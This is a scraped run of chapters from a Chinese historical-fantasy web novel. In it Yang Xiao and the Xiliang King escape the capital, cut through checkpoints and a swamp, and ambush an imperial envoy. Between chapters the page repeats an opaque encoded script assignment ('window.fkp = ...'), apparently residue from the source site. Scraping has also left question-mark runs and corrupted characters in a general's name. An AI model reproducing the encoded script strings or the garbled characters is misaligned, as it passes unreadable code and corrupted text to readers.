杨笑等人还没有傻到老老实实地待在原地被敌人围困住,他们夺了兵器后立刻向中军大帐冲去。正所谓擒贼先擒王。 正在睡梦中的周军将领被外面的动静惊醒后连忙一边披盔带甲一边吩咐人去查看发生了什么事。还没等他走出大帐,一个士兵就从门外倒飞了进来与那将领撞了个满怀。那将领骂骂咧咧的把撞在自己怀里的人推到一边,这时才看清楚这人当胸一道伤口鲜血淋漓早已气绝身亡。 那将领面色一惊,连忙起身想要去拿放在桌子上面的刀,只是有人比他的动作更快。哗啦啦!闯进来许多满脸杀气的西梁兵。眼见形势不妙,那将领生生的止住了去拿刀的动作,立刻转身跪地求饶。那等身形动作还有表情态度转换之迅速,在场众西梁兵无不自愧不如。最后,那将领被在场的西梁兵毒打一顿后总算是捡了一条小命。 带头的将领被俘,就好比毒蛇被打着了七寸,其余的人很快就放弃抵抗纷纷缴械投降了。那将领刚刚才受了一顿胖揍,跟本就不需要用刑,只是稍加审问就把该说的不该说的全都交待了出来。 到底西梁王的亲卫是怎样轻易被俘的?救出西梁众人后杨笑接下来又有什么打算?欲知后事如何,且听下回分解。 ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十六回 夺营 夺营 上回说到杨笑救出了西梁王的亲兵卫队并俘获了看守的将领,那将领被窝了一肚子火气的西梁王亲卫们一顿胖揍后,也不用怎么审问就把事情的前因后果全都说了出来。 原来前一日傍晚,黄牛岭行营里的驻军们正一个个的排着队等侍伙房发饭时,有几骑快马从营门外飞驰而入,来人进入军营后直奔行营大帐。 大将军贾奉德正准备下卯。他前两天在城西如意巷的柳烟居里相中了新来的头牌。如意巷乃是京城里有名的烟花柳巷。柳烟居,名字叫的文雅,里面的东西自然不会差了,这里是如意巷里最大的歌楼舞馆之一,出入此处的不是达官显贵就是富商巨贾,没有点身份和实力怕是连门儿都别想进。 柳烟居新近出了个有名的头牌,歌声醉人,舞姿优美,尤其是那身条,那小模样……哎呦喂!长的那叫个勾魂儿!贾大将军一眼就相中了这个头牌,决心要把这个将他迷的五迷三道的小娘子弄到手。 本来还有几个不长眼的家伙跟贾奉德争抢抬价,一时半会儿不太愿意暴露身份的贾大将军就跟着往上抬价,可眼瞅着价格越抬越高,贾奉德既心疼银子又不甘心把眼前的美娇娘拱手让人,不过被他的跟班随从在暗中稍稍的向那几个家伙旁敲侧击的透露了一点贾将军的身份后就一个个的偃旗息鼓了。开玩笑!有几个人敢跟万岁爷的心腹宠臣,当朝的大将军抢女人,是嫌脑袋长的太多了不成?于是当晚贾大将军就温香软玉在怀了。这一晚可真是让贾大将军无比的受用,一夜颠鸾倒凤,第二天贾大将军的腿都软了。这么好的尤物贾大将军自然不愿其他人染指,于是大手一挥,豪掷千金包下了这名头牌。 这一整天下来在军营里待得贾奉德抓心挠肝,时时都在惦记着那个头牌,一想起头一天晚上那销魂的劲儿贾奉德就忍不住心中悸动。这几天他夜夜都往柳烟居里跑,但贾奉德必经是京城里有头有脸的人物,总往这青楼妓馆里头跑,传出去的话在名声上总归是不太好。他这几天正琢磨着把这个头牌赎回家,这样一来自己行起乐来就方便多了。 好不容易熬到了下卯的时间,贾奉德连忙收拾东西就要往柳烟居里赶,这时候外面响起了一阵急促的马蹄声。贾奉德知道走不成了,他跺跺脚在心里暗骂一声:“谁他娘的这么不长眼!” 心里着急归着急,这紧急的军务该处理还是要处理的。一见进来的是宫里头的人,贾奉德立刻换了副嘴脸,笑容满面的迎上前道:“二位天使一向少见,今天怎么有空到我这行营里来了?” 来人回了一礼道:“贾将军不必客气,咱们也是奉了皇命而来,有一道要紧的密旨要交给贾将军。” 贾奉德接过密旨打开来看了看里面的内容,越看贾奉德越是心惊,越看贾奉德的脸就变的越难看。看完密旨后贾奉德张张嘴,不知道该怎么向传旨的两人回话。 来人又开口道:“贾将军,皇上要你接旨后立刻发兵!” 贾奉德眼珠子转了转一咬牙开口道:“贾奉德接旨!” “那咱们就回宫复命,静等将军的好消息了。” 送走了传旨的人贾奉德立刻招集人马出发。营中的众将士操练了一天又累又饿,眼瞅着就要开饭了又来了个紧急集合,难免会有人在心中生出怨言来,但军今如山,众将士还是不情不愿的出发了。 日落之后,贾奉德带着人马来到了另一处军营,这里正是西梁王亲卫营的驻扎之地。一下子来了这么多人马,亲卫营的统领立刻出营门迎接。 亲卫营的统领姓刘,在职位上肯定是低于贾奉德的。贾奉德进入大帐站于主位,刘统领上前问道:“不知将军夜里来访所为何事?”贾奉德四下看了看说道:“刘统领呀!麻烦你把营里的兄弟们全都招集起来,本将有圣旨要宣读。” 本来西梁的军队是不会直接接受朝庭的指挥的,但现在亲卫营身在京城,是人家朝庭直属军队的领地,又有圣旨要宣读,刘统领于是按照贾凤德的要求把营中的人马全都招集在一起。 很快亲卫营便招集完毕。 贾奉德站在大帐外对亲卫营众人高声道:“诸位……啊!嗯……亲卫营的兄弟们,大家伙儿都辛苦了!本来呀,这黑灯瞎火的不该来打扰大家的”贾奉德来回渡着步子有模有样的训着话,尽量的让自己看起来和蔼可亲些:“但是呢……大家伙儿跟随咱们西梁王为朝庭效力,不远千里来到咱们圣京城……啊!大冷天的让大家在这冰天雪地里住帐篷,实在是委屈大家伙儿了。”贾奉德一边说着一边走入亲卫营的将士们中间,亲切的拍拍他们的肩膀:“眼下呢……西梁王大人恐怕一时半会儿的也回不了西梁,咱们的万岁爷……啊!嗯……也就是皇帝陛下。十分的体恤大家伙儿,不忍心让兄弟们再在这里地睡帐篷了,特意命我在玉泉山大营外新建了一处兵营。”贾奉德穿过一排排士兵,挣取让每一个人都听到他的声音:“昨天,就在昨天,新兵营终于建好了。咱们的皇帝陛下呀!真是一个好皇帝!一收到消息,这不是……嗯……就命令我立刻让大家伙儿搬进去。我呢……接到旨意后就立刻带人赶过来了……啊!嗯……帮兄弟们搬家。”最后,贾奉德回到大帐前振臂高呼道:“这都是皇上的恩典,大家伙儿……还不……谢主隆恩?” 听完贾奉德的训话,刘统领带领亲卫营的众将士们齐齐下跪,高呼:“谢主隆恩!吾皇万岁!万岁!万万岁!” 刘统领刚喊完万岁就觉得脖梗处一凉,一柄利剑架在了他的脖子上。刘统领身体一震,缓缓抬头看清了那柄剑另一端的人,他开口问道:“贾将军这是什么意思?” 贾奉德阴笑一声说道:“这也是陛下的意思。” 就这样亲卫营的人马全都被俘了。 亲卫的将士们全都被反绑了手脚关在大营中间的几个帐篷里。贾奉德留下一部分人马看守后就进宫复命去了。 皇帝听闻贾奉德得手后很是满意:“现在就等西梁王府那边的消息了。” 贾奉德得到皇帝的夸奖后退出了殿外。回去的路上贾奉德坐在车里一边哼着小曲儿一边想着皇帝会给自己什么赏赐,这时车外的随从问道:“老爷,咱们接下来去哪里?” “嗯?去柳烟居。”贾奉德没有多想就说道。 ……听完这名守军将领说的话后,杨笑看向刘统领,刘统领点点头有些羞愧的说道:“基本上就是这个情况。”杨笑嗤笑一声,拍了拍那将领的脑袋说道:“你们的贾将军别的本事没有,诓起人来倒是一套一套的。”说完一推那名将领的脑袋:“把他们全都背靠背反绑手脚丢进帐篷里去。” “是!”众人齐声领命。 杨笑出门把西梁王接入大营,众亲卫见过西梁王。西梁王听杨笑简要的把事情说过一遍后问杨笑:“接下来我们该怎么办?” 杨笑回道:“孩儿觉得我们应该……。”杨笑把自己的想法如此这般这般如此的向西梁王说了一遍,西梁王听后连连点头。 究竟杨笑想出了怎样的计划,他们又是否能够平安回到西梁?欲知后事如何,且听下回分解。 ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十八回 玉嶂郡闯关斩将(一) 玉嶂郡闯关斩将 上一回说到杨笑与西梁王等人商定了下一步的计划,此时天色已将将放亮,于是众人立刻拨营启程。 实际上杨笑与西梁王人刚出城不久皇宫内就得到了西梁王出逃的消息,很快就有几路人马飞奔出圣京城,前往各处关隘通知守备官军准备拦截西梁王。 天蒙蒙亮时贾奉德才收到了追击西梁王的紧急命令。他着急忙慌的从柳烟居里跑了出来,一边跑一边穿衣服,一边冲等在门口的侍卫喊道:“快!去玉泉山行营!”连衣襟都没系好就连忙翻上马背向城外而去。 再说杨笑一行人。 其实西梁王要回返回西梁境,最简单的方法就是杨笑只带着西梁王一个人返回,以小黑的速度用不了多长时间就能回到西梁城。但是西梁军从来就没有丢弃胞泽的事情发生过,西梁王执意要把自己的亲卫们全都带走,于是一行人全部轻装简行一路向西飞驰而去。 本来到西梁走水路的话最方便,但是走水路太容易被截住了,只能走旱路了。为了躲避追兵,他们中间几次改道绕开大路与城池关隘,这一天进入了玉嶂郡境内。 别处的城镇关卡还能想办法绕开,而玉嶂郡境内因为有几条河流阻挡再加上滩涂沼泽与茂密的从林分布其间,所以有两个关卡是回西梁的必经之路。倒也不是不能绕过去,只是绕路的话就要耽误半个多月的时间,到时候就算有几个西梁王也都要被人家抓住了。现在,对杨笑他们来说最重要的就是时间,所以杨笑他们决定硬闯玉嶂郡。 进入玉嶂郡没走多少路程就到了一处渡口:四行渡。 玉嶂郡境内多水,四行渡是玉嶂郡内三大渡口之一,河面上船来船往十分繁忙。原本这里是没有驻军的,只有十多个差役每日在乡祠里当差收税,不过郡守在接到拦截西梁王的命令后就立刻派人把守住了各处通道。因为西梁王进入玉嶂郡后,走旱路的话四行渡就是一个必经之地,所以这里就成了把守的重点之一。 西梁王在马上已经能够远远的看到码头上停靠的船只了,不过现在在他们和渡口之间多了一道阻碍,那是六百名骑兵与刀斧手! 杨笑等人长途跋涉,正是饥寒交迫、人困马乏之时,而对方却是以逸待劳。西梁王亲卫营此时能战者只两百有余,而对方三倍于自,又占居主场,形势大不利于自。凡事大都讲究个天时、地利、人和,现在对方占尽天时与地利,而杨笑这边勉强算是占一个人和。 拦路的是玉嶂郡偏将王?和,是一员年轻将领。名字里有?有和,官至一郡偏将,?算是有了,和却未必。王?和在玉嶂郡素有王疯癫之名,仗着朝中有后台,在玉嶂郡内肆意妄为,同辽和部属们都对他忌惮三分,连玉嶂郡守和驻军主将也对他很是头痛。 王疯癫混是混了些,可领兵撕杀却是一把好手,见对面过来一队人马身穿西梁军服饰,当先一人胯下骑一头黑色猛虎,不是杨笑是谁?杨笑的名声他可是再熟悉不过了,又是御封虎威将军又是西梁附马,既然有杨笑在不用多想西梁王也跑不到哪里去。 都说西梁军悍勇无匹,王?和可不信这个邪。看到杨笑等人到来,丝毫不给他们以喘息之机,立刻一声令下首先发起了冲峰。四百骑兵后面跟着两百刀斧手,就是耗也要把对方这群疲兵耗死在这里! 西梁王亲卫营虽是疲惫之师,却是个个悍勇,至于杨笑就更不把这帮拦路的“乌合之众”放在眼里了。见对方在与自己相距两百余步时就发起了冲峰,杨笑立刻停住脚步,亲卫营众将士不用杨笑开口立即以杨笑为首摆开队形。 虽然杨笑是第一次率领亲卫营,但亲卫营众将士与杨笑配合起来就好像是早已经演练了千百遍一般默契。不用刻意排列,每一个亲卫营的将士都知道自己该站在哪个位置,勒住马缰的那一刻,一个整齐划一的冲峰阵形就已经摆好了。众将士个个视死如归,就算是再疲惫不堪,西梁军的军威不能丢! 四百骑兵开路,王?和跟在骑兵后面,再往后就是两百刀斧手。两匹人马激烈的对撞在一起!马蹄声、撕杀声、刀剑相交声,响成一片!嘶鸣声、惨叫声、皮开肉绽声,混作一团! 两军对擂讲究的就是个气势,还未交战就先把气势尽先、自乱阵脚就是占尽优势往往也难以取胜。而若是气势如虹,将士们个个士气饱满、奋勇拼杀,就算是身陷绝地也不乏绝处逢生者。 “射人先射马,擒贼先擒王”的道理,西梁王的亲卫和玉嶂郡的守军们全都深谙于心。杨笑一虎当先杀入敌军阵营之中,两百将士紧随其后,又方混战在一起。 当先一人举枪就往小黑身上扎,小黑一歪脑袋躲过了这一枪,谁知那人把枪头一偏就势往杨笑的小腹刺来。杨笑一把薅住了刺来的枪杆,这时小黑已经扑上去把对方连人带马给撕成了两半。一人一虎配合的十分默契。 对方的战马慑于小黑的虎威,强行操控下,骑兵结阵冲峰的威势已是大打折扣。 杨笑带领西梁众将士在敌军阵营中杀出一条血路,直取王?和。王?和知道西梁军厉害,但没想到竟是如此生猛,自己的四百骑兵以逸待劳竟然连半刻都不能阻挡。见杨笑冲破人群直向自己杀来,王?和一咬牙催动身下战马迎向杨笑。 王?和也是一员悍勇之将,且臂力过人,提着一杆精铁打造的长枪迎战杨笑。二人方一交手,王?和的长枪便直刺杨笑当胸,杨笑挥刀砍向刺来的长枪。“当”的一声,长枪被杨笑一刀砍开,王?和顿觉虎口酸痛长枪险些脱手。这一刀让王?和一下子瞪圆了双眼,杨笑的勇猛是他生平仅见。 二人一计交手后一虎一马继续前冲,两人身形交错之际杨笑挥刀直取王?和后腰,而王?和也咬牙握紧长枪回首刺向杨笑后心。这一次两人都没有得手,错开一段距离后纷纷调头再次冲杀在一起。 ??????? ??????? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第八十九回 玉嶂郡闯关斩将(二) 两人刀枪相交,你刺我劈,我砍你挡。虽然每次交手王?和都被震的虎口酸痛,手臂发麻,但他仗着手里的铁枪坚实,凭着一股子蛮力咬牙与杨笑一计计对拼着。 王?和觉得自己的双手枪对杨笑的单手刀都被震的难以忍受,他不相信杨笑的状态会强过自己多少。说实话王?和是在赌,他赌杨笑没有他坚持的时间长。一旦他赌赢了,擒获西梁王头功一件,那等待他的必定是加官进爵,飞黄腾达。 正在二人你来我往打的难分难舍之时,一名玉嶂郡的骑兵也加入了进来,对杨笑形成了左右夹击之势。王?和见来了帮手,把已经用到极至的劲头上再加一把劲儿,彻底的进入了一种疯狂的状态,枪枪都是毫无保留的打法,完全就是抱着要和对手两败俱伤的打算。 杨笑一刀架开王?和刺来的长枪,与此同时,那名玉嶂郡的骑兵也从另一边一枪刺向杨笑腋下,杨笑身体向后一仰躲过了这一枪。那骑兵由于用力过猛一下子收不住手,长枪越过杨笑又刺向了另一边的王?和,王?和见状在心里大骂一声连忙向后仰身躲开。 杨笑伸手抓住那杆长枪顺势一扯,一把将那名骑兵扯下了战马,又顺着这股劲儿把手里的长枪直刺向王?和。王?和刚才仰身躲避,此时尚来不及回身坐好,这一枪正中王?和的肩头。王?和还没来得及反应就被杨笑一枪抵住了肩膀用力一刺摔下了马背。 摔下马背的王?和在地上一个驴打滚儿,与杨笑分开了一段距离,正要起身之时,一匹战马从他身边飞驰而过。王?和脖颈处一凉,接着他就看到一阵天旋地转,……最后他看到的画面是亲卫营刘统领那张哈哈大笑的脸……。 王?和一死,玉嶂郡的六百人马立刻就做了鸟兽散。那些跟在骑兵后面的刀斧手们甚至都没来得及参与到这场撕杀之中来。 解决了拦路的玉嶂军,杨笑等人立刻准备过河。就在众人正准备到一半的时候,突然听到后方一声嘹亮的号角声响起,有人大声喊道:“敌军追来!……!”疲惫不堪的西梁军只得再次翻身上马准备迎敌。 杨笑扭头望去只见远处的大道上烟尘滚滚,有一支骑兵追杀而来。追杀来的这支骑兵在人数上并不比先前的玉嶂军少,为首三人一看便知个个都是虎狼之辈。一路奔波又经过刚刚的一场撕杀,亲卫营已然是疲惫到了极至。兵法有云:夫士气者,一鼓作气,再而衰,三而竭。这一次要是不能速战速决那么对亲卫营来说形势将大大不妙! 杨笑催动小黑来到队伍的最前头。杨笑将手里那把已经砍出许多豁口的长刀丢在一边,伸手接过了一名亲卫营士兵递过来的,王?和的那柄铁枪。杨笑眯起双眼望着杀来的人马,对方一路追来必定也是十分疲惫,疲兵对疲兵,就看谁能坚持到最后,谁能刺出那最后的一枪。 如果换一个场景亲卫营说不定还会和对方耗下去,但现在的形势不允许亲卫营做过多的消耗,因为回西梁的路还有很远。杨笑已经打定主意,再来一次擒贼先擒王,他要在第一个回合里就把对方的三名将领全都拿下。 双方很快就接近到了冲峰的距离,但杨笑并没有立刻发起冲峰,他要让亲卫营的将士们多喘上两口气,多喘一口气就多一丝活下去的杀望。 追来的朝廷军队首先发起了冲峰。三个带头的将领不知道,此时在杨笑的心中他们的脑袋已经系在自己的腰带上了。 等到双方距离不足百步之时,杨笑一声令下,亲卫营发起了冲峰。虽然他们已是疲惫至极,虽然敌军数倍于自,但亲卫营众将士个个视死如归,那种虽千万人吾往矣的气势令人动容! 杨笑再次身先士卒,一骑绝尘向对方那三名将领杀去!两方人马对撞在了一起。这一次对方加入战团的人马实在是太多了,双方人马方一接触,亲卫营就有人纷纷被对方斩落马下。亲卫营挡住了前面的敌军却挡不了两侧的敌人,许多人从两侧包抄把亲卫营团团围住。这一回的形势真的是太严重了,严重到西梁王也不得不抽出腰间的宝剑加入了撕杀之中。 杨笑与对方的三名将领刚一接触便率先出手,对方一人见杨笑杀来开口喊道:“西梁叛军还不速速投……。” 短兵相接,一招不慎便要生死立判。那人竟还在这时候托大,想要在语言气势上压亲卫营一头,结果他的话还没说完就被杨笑一枪递出,刺穿了喉咙摔下马去,那剩下的半句话也只能憋回肚子里去了。 一枪见功后杨笑低头躲过侧方砍来的一刀,双方错身而过间杨笑一记回马枪刺出。这名将领因为拿刀来砍杨笑,与杨笑的离的最近,跟本来不及躲避,于是被杨笑一枪刺穿了后心。那将领在马背上晃了晃,然后一头栽下了马背。 剩下的最后一名将领本来也是要用手里的长枪去刺杨笑的,但看到杨笑一枪刺向自己的同伴就中途改道想要去救那名同伴,但哪里还来得及。杨笑与最后剩下的这名将领错身之后,不等他调转马头,便双脚在小黑后背上一点身体腾空而起,把手里的铁枪像挥鞭子一样挥舞出一个弧度来,一枪砸在了那人的脑袋上,于是那名将领的脑袋就像西瓜一样开了花。杨笑翻身落在对方的马背上,把那将领仍旧骑在马背上的尸体一把推了下去。 这一切说来话长,其实不过是三两息间的事情。杨笑刚一结果了三人就高声喊道:“你们的将军已尽数被我斩杀,还不快快投降!” 那些骑兵们回头一看,刚刚一个照面自家的三个将军就被人家杀了个干净,一下子就给吓破了胆。这还打什么?跑吧!于是朝庭的人马纷纷溃退,亲卫营甚至还追杀了一两百步。 西梁王在这次短暂而又凶险的交战中虽然也加入了战团,但好在有亲卫营的将士在旁边拼死守护,倒也有惊无险。 接连杀退了两股敌军,亲卫营的将士们再也没有一丝力气撕杀了,一个个瘫坐在地。看这份情形,再这样下去,不用朝庭的人马追杀,自己就先把自己给累死了。 敌人刚刚败退,就算是回去重整旗鼓再次杀来,离这里最近的城池一来一回最快也要半天的功夫。杨笑干脆让众人就地起火,把死伤的战马扒了皮毛去掉内脏分而食之。杨笑还在码头的酒馆里弄来了几坛子酒,让众将士每人分了几口。 一个时辰后酒足饭饱,大家也都恢复了几分精神,于是匆匆的打扫了战场,把死去的兄弟聚在一起一把火烧了。做完这一切后众人蹬船过河再次出发了。 接下来的路上又会发生什么样的事情呢?欲知后事如何,且听下回分解! ??????? ??????? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十回 耄耋翁关前指路 耄耋翁关前指路 上一回说到杨笑等人一路奔波,进入玉樟郡后在四行渡口接连经历了两场撕杀,亲卫营损失惨重。杨笑等人乘船过河后再次一路向西而去,又走了一段路程后一处军寨挡在了前面。 黑泽滩,又叫黑水滩,是一片方圆三四百里,南北狭长,东西窄的沼泽滩涂之地,有大大小小五六条河流汇入到这片烂泥地里。在这片沼泽里连一棵稍微大一点的树都没有,更别说大一些的动物了,只要是比兔子大点的动物,走不了多远就得陷进沼泽里,从而葬身在这里。神奇的是,就在这片寸步难行的沼泽地里却有一道不宽的堤堰横穿东西,成为了京城与西梁之间的一条重要通道。这么重要的一条通道历朝历代当然都会十分重视,在这条堤堰的两头各设下了一道关卡。 杨笑等人一路行来,远远的已经可以望见前面的关卡上高高飘扬的旗帜了,这时一个枯瘦的老头出现在道路中央,拦住了他们的去路。 老头的手里拄着一根酸枣枝的拐杖,那根拐杖也不知道在这老头的手里盘了多少年了,上面满满的全是包浆。 (这根拐杖要是放到这会儿的文玩市场上,那指定会卖上一个好价钱。) 宽阔的道路上孤零零的站了一个老头,看上去就让人觉得有些古怪。老人见一队人马飞驰而来,非但不躲,反而远远的向杨笑等人招起手来。见杨笑停住脚步那老头理了理被风吹乱的花白胡须开口道:“小老儿黑泽寨无名军曹,奉我家将军之命特在此处迎接西梁王大驾。” 听到老人的话,杨笑上前一步问道:“老人家特意在此等候不知是何意?” 老人微微一礼说道:“我家将军有言,王爷切不可入黑泽寨……。” 西梁王听到这样的话哪里能有什么好心情,也不管那老头的话说没说完就抢道:“不强闯黑泽寨,那本王又怎么回西梁?” 哪知道那老头根本不理会自己的话,自顾自的说着:“小老儿特为王爷指路而来”老人说着伸手指向西梁王身后缓缓道:“王爷回转两里有一河流,东岸河床可行人马,现在是枯水季节,河水将将过马膝,王爷可顺河而行……。” 老头说起话来不紧不慢的,听得西梁王心里直着急上火,西梁王着急赶路,能为这老头停一停已经是破例了。见老头这样啰嗦西梁王脸色一沉急道:“顺河而行?难道让本王绕上几百里路?还是死在这黑泽滩里?”说着就想要拔剑把这老头一剑劈成两半。 见西梁王发怒杨笑连忙伸手拦住,劝道:“父王息怒,且先听他把话说完。”又向那老人抱拳问道:“不知顺河而行后又当如何?” 那老头还是一幅不急不躁的样子,缓缓的说道:“顺河行出二十余里,在两河交汇处,于对岸可见一耄耋老柳,彼处可以过河……。” 这老头说话实在是慢了些,杨笑听得也是心急:“过河后又当如何?” 老头还是那副不急不躁的样子:“过河后西北有一高岗,直向高岗而行便可出黑泽滩。” 众人听了都是面面相觑,谁也不知道该不该相信面前这个老头,必经黑泽滩里凶险无比,一不小心说不定就会全军覆没。那个老头一幅信不信由你的样子继续说道:“我家将军还让我转告王爷,朝庭派往通知各处关卡拦截王爷的御使已经离开黑泽寨,王爷若连夜赶路有望在伏牛岭截获御使。我家将军敬佩王爷,还望王爷能理解我家将军的一片良苦用心。好了,小老儿言尽于此,要走哪边,全凭王爷。”说完老头拄着那根拐杖头也不回的走了,留下杨笑与西梁王等人一头雾水,不知道该怎么办。 杨笑想了想向西梁王说道:“父王,这会不会也是仙人的指点?” 西梁王恍然道:“这老者出现的如此古怪,一定是了!”一群人于是调转马头接照老人所说的,去寻找那条路了。 果然如那老者说的一样,这条河流的一侧河床还挺瓷实,人踩在河床上就像踩在硬泥地上只是觉得脚下柔软却并不下陷,马匹踩上去也只是陷下去大概马蹄深浅的样子。 沿着小河往前走了一段路就有另一条小河汇入进来,河对岸果然有一棵比灌木高出一头的半截老柳树。老柳树长的歪歪扭扭,树干上的许多枝干都已经干枯腐朽的不成样子了,但在这片烂泥地里却特别的显眼。 从两条河流的交叉口到对岸的老柳树之间,有一道河水冲涮堆积的暗堤隐没于河水之下,顺着这道暗堤杨笑他们顺利的来到了河对岸。 过了河向西北方向望去,远远的可以看到一个小小的黑土墩,孤零零的蹲在水天相接处,一群人就接照老人所说的,直冲着那个小土包走去。 这里的地面虽然不像先前的河床那般瓷实,但也勉强可以通行。众人全都手拉着手或是牵着战马,深一脚浅一脚的,小心翼翼的向前走着。当夕阳染红了半边天的时候,一行人终于走出了黑泽滩。 欲知后事如何,且听下回分解。 ???……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………??? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第九十一回 伏牛岭截杀御使 伏牛岭截杀御使 上一回说到杨笑等人走出了黑泽滩这片沼泽地。 走出黑水滩才发现,他们原先看到的小土墩原来是一座呈现出黑褐色的高大土丘。 这座土丘上乱石从生,土壤贫瘠,只稀稀拉拉的长着一些荒草,枯萎的荒草被一整个冬天的寒风吹的凌乱不堪。 杨笑与西梁王站在土丘上面向西面放眼望去。 土丘的西面是一片洼地,在靠近土丘的地方有一大一小两片小池塘。越往西,地面上的植被就越多了起来,一直到几里外的另一座丘陵附近才开始有零星的树木出现。丘陵的后面是更多的丘陵,一直绵延到天边,在落日的余辉里剪出一道蜿蜒的曲线来。 伏牛岭,是位于黑泽滩西面的一片丘陵地带,相传古时候有人在这里见到有神牛伏地休息而得名。这片土丘小山就这么突兀的出现在关东平原上,这里人烟稀少,林木茂密,野兽众多,生活在这里的人们大多以打猎维持生计。 西梁王看着夕阳下的美景感概道:“要是我大周子民的日子能够一直如这美景一般祥和该多好!” 一旁的杨笑正拿着地图寻找自己现在所在的方位,听到西梁王的感概,开口道:“这样的美景明天还会出现的。” 西梁王低头叹口气:“唉!可漫漫长夜总归还是难熬呀!” “父王请看,我们现在在这里,前面那片丘陵应该就是伏牛岭了,我们先进伏牛岭,在那里应该能找到村落,那样的话就能知道这片山林里具体的道路了。”杨笑指着地图向西梁王说着。 ?“好,那我们就先进伏牛岭再说。”西梁王点头道。 一行人在土丘下的小池塘里,把在沼泽地里粘的两腿泥清洗一下,然后便进入了伏牛岭。才越过两三座丘陵就发现有几道梯田出现在前方不远处,有田地的地方离村落应该也就不远了。 天完全黑下来后杨笑他们总算是找到了一个小村落,村子不大,也就一二十户人家的样子。 一支军队突然出现在小山村里,还有许多人负伤在身,着实把村里的居民们给吓的不轻。当村民们得知他们是从黑泽滩沼泽里走出来的以后,一个个的都瞪大了眼睛,一幅不敢相信的样子。终于问清了他们现在的具体位置以及出山的道路,西梁王出重金雇佣了几个村民带领他们出山,从来没有见过这么多钱的村民们欣然前往。 赶了一夜的路,终于在天亮之前赶到了去往西梁境的大路上,算算时间朝庭派出的御使应该还没有过去,杨笑等人连忙准备了起来……。 ……辰时将尽时一队人马从大路上急驰而来。从这些人的衣着服饰,以及队伍中飘荡的旗帜可以看出来,这些人都是官府的官差。为首一人穿着裘皮棉袄,披一条棉斗篷,还有一条狐狸毛的披肩,把自己裹得严严实实的。尽管戴了帷帽,但脸上还是被寒风冻的通红。身后两人都穿着厚厚的棉衣,在棉衣的下摆处露出一角华丽的官服来。再后面跟随着三十多号人,都是身穿轻便甲胄的士卒,队伍里的那面旗帜显示这些人是从圣京城来的。 平时在官道上来往的客商,这个时候刚从连在道路两头的城关里出发不久,所以中间的这段路上还没有什么行人,这队人马可以在道路上肆意狂奔。这时候,一声嘹亮的哨声突然从他们刚经过的一棵大树后面响起,紧接着走在最前面的两匹马在一阵嘶鸣声中先后栽倒在地,骑在马背上的人也被摔出去老远,后面的人连忙勒住马缰,马儿们发出一阵阵的嘶鸣声。就在这时,从两边的树林里冲出来许多人,把他们团团地围住。这些人刚一出现,立刻就举着刀杀了过来。 人群里有人喊道:“是西梁军!” “保护御使大人!” “大家跟我杀出去!” “杀……。” 队伍乱作一团。 双方混战在一起。霎时间,喊杀声,惨叫声,兵器碰撞发出的叮当声混成一片。 摔倒在地上的御使在部下的搀扶下挣扎着起身,也顾不上身上的伤痛,一瘸一拐的就向前跑去。护卫在他身边的部下不断的有人倒在血泊中,御使长这么大也没见过这样的场面,早已吓的面色苍白两腿发软。 “大人快上马!”这时候有部下牵来一匹马,御使在颤抖中被人推了上马背,紧接着有人在马屁股上抽了一鞭,那马儿吃疼,嘶鸣一声撒开四蹄飞奔起来。 等御使在马上回头看时,只看到自己的部下已经全部被人屠杀干净了。御使吓得连忙在马屁股上又抽了两下,此时的御使从来没有像现在这样觉得跨下的马儿跑得太慢的时候,他只恨这马怎么不多生出几条腿来,怎么不长出一对翅膀来。 就在这位御使害怕的要死的时候,一枝箭矢对准了御使。“嘣”的一声,箭矢飞射而去,正中那御使的后心。 御使惨叫一声从马背上摔了下来,在地上滚了两圈后就一动不动了。御使爬在地上只有进的气没有出的气,鲜血从他的嘴里流了出来,他最后看清的画面是一双脚来到自己的身边……。 ?“王爷这是从那御使身上搜出来的东西。”刘统领把一份圣旨,一个令牌,还有一封密信捧到了西梁王面前。西梁王看过圣旨和密信的内容后悲戚道:“好一个生死勿论!” 杨笑上前关切道:“父王,您……?” 西梁王心中痛苦万分,他伸手止住杨笑:“你是对的。”随后他颤抖着呼出一口气,从他的嘴里坚难但却十分坚定的吐出一个字来:“反!” 